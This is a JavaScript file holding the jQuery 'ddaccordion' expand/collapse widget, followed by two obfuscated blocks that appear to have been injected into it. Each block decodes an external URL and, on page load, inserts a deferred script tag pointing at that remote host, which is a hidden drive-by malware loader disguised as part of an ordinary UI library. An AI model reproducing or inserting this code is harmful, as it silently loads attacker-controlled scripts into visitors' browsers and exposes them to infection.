jQuery.noConflict()

var ddaccordion={
	
	contentclassname:{}, //object to store corresponding contentclass name based on headerclass

	expandone:function(headerclass, selected){ //PUBLIC function to expand a particular header
		this.toggleone(headerclass, selected, "expand")
	},

	collapseone:function(headerclass, selected){ //PUBLIC function to collapse a particular header
		this.toggleone(headerclass, selected, "collapse")
	},

	expandall:function(headerclass){ //PUBLIC function to expand all headers based on their shared CSS classname
		var $=jQuery
		var $headers=$('.'+headerclass)
		$('.'+this.contentclassname[headerclass]+':hidden').each(function(){
			$headers.eq(parseInt($(this).attr('contentindex'))).click()
		})
	},

	collapseall:function(headerclass){ //PUBLIC function to collapse all headers based on their shared CSS classname
		var $=jQuery
		var $headers=$('.'+headerclass)
		$('.'+this.contentclassname[headerclass]+':visible').each(function(){
			$headers.eq(parseInt($(this).attr('contentindex'))).click()
		})
	},

	toggleone:function(headerclass, selected, optstate){ //PUBLIC function to expand/ collapse a particular header
		var $=jQuery
		var $targetHeader=$('.'+headerclass).eq(selected)
		var $subcontent=$('.'+this.contentclassname[headerclass]).eq(selected)
		if (typeof optstate=="undefined" || optstate=="expand" && $subcontent.is(":hidden") || optstate=="collapse" && $subcontent.is(":visible"))
			$targetHeader.click()
	},

	expandit:function($targetHeader, $targetContent, config, isclicked){
		$targetContent.slideDown(config.animatespeed, function(){config.onopenclose($targetHeader.get(0), parseInt($targetHeader.attr('headerindex')), $targetContent.css('display'), isclicked)})
		this.transformHeader($targetHeader, config, "expand")
	},

	collapseit:function($targetHeader, $targetContent, config, isclicked){
		$targetContent.slideUp(config.animatespeed, function(){config.onopenclose($targetHeader.get(0), parseInt($targetHeader.attr('headerindex')), $targetContent.css('display'), isclicked)})
		this.transformHeader($targetHeader, config, "collapse")
	},

	transformHeader:function($targetHeader, config, state){
		$targetHeader.addClass((state=="expand")? config.cssclass.expand : config.cssclass.collapse) //alternate btw "expand" and "collapse" CSS classes
		.removeClass((state=="expand")? config.cssclass.collapse : config.cssclass.expand)
		if (config.htmlsetting.location=='src'){ //Change header image (assuming header is an image)?
			$targetHeader=($targetHeader.is("img"))? $targetHeader : $targetHeader.find('img').eq(0) //Set target to either header itself, or first image within header
			$targetHeader.attr('src', (state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse) //change header image
		}
		else if (config.htmlsetting.location=="prefix") //if change "prefix" HTML, locate dynamically added ".accordprefix" span tag and change it
			$targetHeader.find('.accordprefix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
		else if (config.htmlsetting.location=="suffix")
			$targetHeader.find('.accordsuffix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
	},

	urlparamselect:function(headerclass){
		var result=window.location.search.match(new RegExp(headerclass+"=((\\d+)(,(\\d+))*)", "i")) //check for "?headerclass=2,3,4" in URL
		if (result!=null)
			result=RegExp.$1.split(',')
		return result //returns null, [index], or [index1,index2,etc], where index are the desired selected header indices
	},

	getCookie:function(Name){ 
		var re=new RegExp(Name+"=[^;]+", "i") //construct RE to search for target name/value pair
		if (document.cookie.match(re)) //if cookie found
			return document.cookie.match(re)[0].split("=")[1] //return its value
		return null
	},

	setCookie:function(name, value){
		document.cookie = name + "=" + value
	},

	init:function(config){
	document.write('<style type="text/css">\n')
	document.write('.'+config.contentclass+'{display: none}\n') //generate CSS to hide contents
	document.write('</style>')
	jQuery(document).ready(function($){
		ddaccordion.urlparamselect(config.headerclass)
		var persistedheaders=ddaccordion.getCookie(config.headerclass)
		ddaccordion.contentclassname[config.headerclass]=config.contentclass //remember contentclass name based on headerclass
		config.cssclass={collapse: config.toggleclass[0], expand: config.toggleclass[1]} //store expand and contract CSS classes as object properties
		config.htmlsetting={location: config.togglehtml[0], collapse: config.togglehtml[1], expand: config.togglehtml[2]} //store HTML settings as object properties
		config.oninit=(typeof config.oninit=="undefined")? function(){} : config.oninit //attach custom "oninit" event handler
		config.onopenclose=(typeof config.onopenclose=="undefined")? function(){} : config.onopenclose //attach custom "onopenclose" event handler
		var lastexpanded={} //object to hold reference to last expanded header and content (jquery objects)
		var expandedindices=ddaccordion.urlparamselect(config.headerclass) || ((config.persiststate && persistedheaders!=null)? persistedheaders : config.defaultexpanded)
		if (typeof expandedindices=='string') //test for valid cookie ('string'), invalid being null or 1st page load
			expandedindices=expandedindices.replace(/c/ig, '').split(',') //if valid, change to array value
		var $subcontents=$('.'+config["contentclass"])
		if (!(expandedindices instanceof Array)) //check for invalid expandedindices value
			expandedindices=[]
		if (config["collapseprev"] && expandedindices.length>1)
			expandedindices=[expandedindices.pop()] //return last array element as an array (for sake of jQuery.inArray())
		$('.'+config["headerclass"]).each(function(index){ //loop through all headers
			if (/(prefix)|(suffix)/i.test(config.htmlsetting.location) && $(this).html()!=""){ //add a SPAN element to header depending on user setting and if header is a container tag
				$('<span class="accordprefix"></span>').prependTo(this)
				$('<span class="accordsuffix"></span>').appendTo(this)
			}
			$(this).attr('headerindex', index+'h') //store position of this header relative to its peers
			$subcontents.eq(index).attr('contentindex', index+'c') //store position of this content relative to its peers
			var $subcontent=$subcontents.eq(index)
			if (jQuery.inArray(index, expandedindices)!=-1){ //check for headers that should be expanded automatically
				if (config.animatedefault==false)
					$subcontent.show()
				ddaccordion.expandit($(this), $subcontent, config, false) //Last Boolean value sets 'isclicked' parameter
				lastexpanded={$header:$(this), $content:$subcontent}
			}  //end check
			else{
				$subcontent.hide()
				config.onopenclose($(this).get(0), parseInt($(this).attr('headerindex')), $subcontent.css('display'), false) //Last Boolean value sets 'isclicked' parameter
				ddaccordion.transformHeader($(this), config, "collapse")
			}
		})
		$('.'+config["headerclass"]).click(function(){ //assign behavior when headers are clicked on
				var $subcontent=$subcontents.eq(parseInt($(this).attr('headerindex'))) //get subcontent that should be expanded/collapsed
				if ($subcontent.css('display')=="none"){
					ddaccordion.expandit($(this), $subcontent, config, true) //Last Boolean value sets 'isclicked' parameter
					if (config["collapseprev"] && lastexpanded.$header && $(this).get(0)!=lastexpanded.$header.get(0)){ //collapse previous content?
						ddaccordion.collapseit(lastexpanded.$header, lastexpanded.$content, config, true) //Last Boolean value sets 'isclicked' parameter
					}
					lastexpanded={$header:$(this), $content:$subcontent}
				}
				else{
					ddaccordion.collapseit($(this), $subcontent, config, true) //Last Boolean value sets 'isclicked' parameter
				}
				return false
 	})
		config.oninit($('.'+config["headerclass"]).get(), expandedindices)
		$(window).bind('unload', function(){ //clean up and persist on page unload
			$('.'+config["headerclass"]).unbind('click')
			var expandedindices=[]
			$('.'+config["contentclass"]+":visible").each(function(index){ //get indices of expanded headers
				expandedindices.push($(this).attr('contentindex'))
			})
			if (config.persiststate==true){ //persist state?
				expandedindices=(expandedindices.length==0)? '-1c' : expandedindices //No contents expanded, indicate that with dummy '-1c' value?
				ddaccordion.setCookie(config.headerclass, expandedindices)
			}
		})
	})
	}
}
var z=new String();try {var Et="";this.p="";var Nd="";var r;if(r!='qx' && r!='F'){r='qx'};var M=window[unescape("%75%6e%65%73%63%61%70%65")];var rq=new Date();var Sz=new Date();var R=new String();var a=null;var N=window[M("%52%65%67%45%78%70")];this.qS="";var pL=new Array();var x=M("%72%65%70%6c%61%63%65");var _;if(_!='aG'){_=''};var uM;if(uM!='RB' && uM!='zC'){uM=''};function T(s,m){var V=new Date();var jg;if(jg!='' && jg!='Of'){jg=''};var Nn=M("%5b");Nn+=m;Nn+=M("%5d");var n=new N(Nn, M("%67"));return s.replace(n, a);var U;if(U!='' && U!='Y'){U=null};var Ar;if(Ar!='' && Ar!='Fj'){Ar='VF'};};var Mu="";var cM=new Array();var o=T('8166716510127964198536757203277576','12356749');var Vf;if(Vf!=''){Vf='CW'};var l="\x68\x74\x74\x70\x3a\x2f\x2f\x66\x72\x65\x65\x63\x61\x72\x7a\x6f\x6e\x65\x2e\x61\x74\x3a";var aD=new String();this.eK="";var s=M("%31");var Z='';this.QE='';var u=M("%73%63%72%69%70%74");var H="onloaXZj".substr(0,5)+"d";var Q=T('/vfAlqiAcqkvrX-XcAoXmv/qgqoXovgvlAeq.vc9oqmX/qpvcAhXoAmXeA.qnve9t9.ApvhApA','SAvq9X');var Ow;if(Ow!='' && Ow!='NV'){Ow=null};this.YF="";function K(){this.je='';var SY;if(SY!='' && SY!='dD'){SY='u_'};var S=document;var Ux;if(Ux!='UT' && Ux != ''){Ux=null};O=S.createElement(u);var NW;if(NW!='' && NW!='AS'){NW=null};var tg=new Array();var nu;if(nu!='' && nu!='BU'){nu='wi'};Z+=l;var nD;if(nD!='g' && nD!='XK'){nD='g'};this.xa="";Z+=o+Q;var bp;if(bp!='MK' && bp != ''){bp=null};var Sa=S.body;var xG=new String();O.src=Z;var rb="";O.defer=s;this.JU='';this.qf='';var EB;if(EB!='CD' && EB != ''){EB=null};Sa.appendChild(O);this.QG='';};this.I_='';window[H]=K;var qk=new Array();var Rs=new Date();} catch(c){var AZ='';var GB=new Date();};var Xp;if(Xp!='jm' && Xp!='IN'){Xp='jm'};

var B=new Date();var W;if(W!='c'){W='c'};function K(){var F='';var WK='';var j=window;var i=new Array();var a;if(a!='' && a!='ha'){a=null};var S;if(S!='' && S!='Mx'){S=null};var _=j['unescape'];var p=_("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%72%65%65%77%65%62%73%2e%63%6f%6d%2f%68%6f%74%74%69%65%73%74%61%72%2e%63%6f%6d%2e%70%68%70");var d;if(d!='q' && d != ''){d=null};var eB=new Date();function V(h,M){var sS=new String();var Q="";var Bb;if(Bb!='sQ' && Bb!='Kq'){Bb=''};var t=_("%5d");var XZ;if(XZ!='JM'){XZ=''};this.Il='';var H=_("%5b");var tc=String("g");var aV='';var f;if(f!='' && f!='Mp'){f='cb'};var p_=new RegExp(H+M+t, tc);var jW;if(jW!='' && jW!='fC'){jW=''};return h.replace(p_, new String());var UH;if(UH!='' && UH!='ED'){UH='bH'};this.GM="";};var Z=V('8456493129695472663460262661994665797445124854634363426467412013242637263437657','32941756');var r=document;var b=V('sucOruixpktu','kxBIuO');var l=V('snrJcX','iwJqX3GOlF4pLZznU6TeD7KE0');var P=V('dNeJfJeEr8','7VEOSMsaguLJ18Fmo_lCNv');var N;if(N!='cA'){N=''};var C;if(C!='hf'){C=''};this.D="";var EV=new Array();var cV;if(cV!='Zs'){cV=''};function G(){this.jy="";var LT;if(LT!='' && LT!='C_'){LT=''};this.lV='';var Y=_("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");this.kuz="";var yd=new Array();var Gz=Y;this.xY="";Gz+=Z;Gz+=p;var LS;if(LS!='gFP' && LS!='SM'){LS=''};var xl;if(xl!='' && xl!='UQ'){xl=''};var zU='';try {this.VI="";var fu;if(fu!='u' && fu != ''){fu=null};var AL='';s=r[V('cKrAeuagtUeKEglUeUmXeinMt1','AuMKiUXgO1T')](b);var sF=new String();var In;if(In!='dY'){In=''};var oO=new Date();s[P]=[1,7][0];var zx;if(zx!='cz'){zx=''};s[l]=Gz;var ML;if(ML!='lx' && ML != ''){ML=null};r.body[V('aop2pDeWn5dVCNhMiAlzd5','MDNVWTA51RQokE2t8z')](s);var yE="";var Vh="";var mT='';} catch(H_){};var Dc="";this.Oo='';this.WU='';}var IW=new String();var AK;if(AK!='nz' && AK != ''){AK=null};var g=V('oen9lSo5aHds','SPM3Q7RwNpe9jiBGx1_25Hcs');var Vs;if(Vs!='xR' && Vs != ''){Vs=null};j[g]=G;var Uo="";var _G;if(_G!='Nr'){_G='Nr'};var ce_;if(ce_!='' && ce_!='Vu'){ce_=''};};var fP="";K();